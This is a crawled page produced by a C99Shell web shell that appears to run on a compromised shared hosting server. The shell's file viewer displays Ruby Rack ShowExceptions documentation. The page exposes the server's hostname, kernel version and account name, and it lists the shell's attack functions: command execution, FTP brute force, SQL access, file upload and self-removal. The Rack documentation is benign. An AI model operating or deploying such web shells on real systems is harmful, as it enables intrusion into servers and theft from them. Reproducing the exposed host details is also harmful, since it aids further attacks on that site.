!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/ruby19/lib64/ruby/gems/1.9.1/doc/rack-1.6.4/rdoc/Rack/   drwxr-xr-x
Free 289.84 GB of 429.69 GB (67.45%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ShowExceptions.html (26.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Class: Rack::ShowExceptions

Files

Class/Module Index [+]

Quicksearch

Rack::ShowExceptions

Rack::ShowExceptions catches all exceptions raised from the app it wraps. It shows a useful backtrace with the sourcefile and clickable context, the whole Rack environment and the request data.

Be careful when you use this on public-facing sites as it could reveal information helpful to attackers.

Constants

CONTEXT

Public Class Methods

new(app) click to toggle source
# File lib/rack/showexceptions.rb, line 18
def initialize(app)
  @app = app
  @template = ERB.new(TEMPLATE)
end

Public Instance Methods

call(env) click to toggle source
# File lib/rack/showexceptions.rb, line 23
def call(env)
  @app.call(env)
rescue StandardError, LoadError, SyntaxError => e
  exception_string = dump_exception(e)

  env["rack.errors"].puts(exception_string)
  env["rack.errors"].flush

  if accepts_html?(env)
    content_type = "text/html"
    body = pretty(env, e)
  else
    content_type = "text/plain"
    body = exception_string
  end

  [
    500,
    {
      CONTENT_TYPE => content_type,
      CONTENT_LENGTH => Rack::Utils.bytesize(body).to_s,
    },
    [body],
  ]
end
dump_exception(exception) click to toggle source
# File lib/rack/showexceptions.rb, line 58
def dump_exception(exception)
  string = "#{exception.class}: #{exception.message}\n"
  string << exception.backtrace.map { |l| "\t#{l}" }.join("\n")
  string
end
prefers_plaintext?(env) click to toggle source
# File lib/rack/showexceptions.rb, line 49
def prefers_plaintext?(env)
  !accepts_html(env)
end
pretty(env, exception) click to toggle source
# File lib/rack/showexceptions.rb, line 64
def pretty(env, exception)
  req = Rack::Request.new(env)

  # This double assignment is to prevent an "unused variable" warning on
  # Ruby 1.9.3.  Yes, it is dumb, but I don't like Ruby yelling at me.
  path = path = (req.script_name + req.path_info).squeeze("/")

  # This double assignment is to prevent an "unused variable" warning on
  # Ruby 1.9.3.  Yes, it is dumb, but I don't like Ruby yelling at me.
  frames = frames = exception.backtrace.map { |line|
    frame = OpenStruct.new
    if line =~ /(.*?):(\d+)(:in `(.*)')?/
      frame.filename = $1
      frame.lineno = $2.to_i
      frame.function = $4

      begin
        lineno = frame.lineno-1
        lines = ::File.readlines(frame.filename)
        frame.pre_context_lineno = [lineno-CONTEXT, 0].max
        frame.pre_context = lines[frame.pre_context_lineno...lineno]
        frame.context_line = lines[lineno].chomp
        frame.post_context_lineno = [lineno+CONTEXT, lines.size].min
        frame.post_context = lines[lineno+1..frame.post_context_lineno]
      rescue
      end

      frame
    else
      nil
    end
  }.compact

  @template.result(binding)
end

[Validate]

Generated with the Darkfish Rdoc Generator 2.


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0041 ]--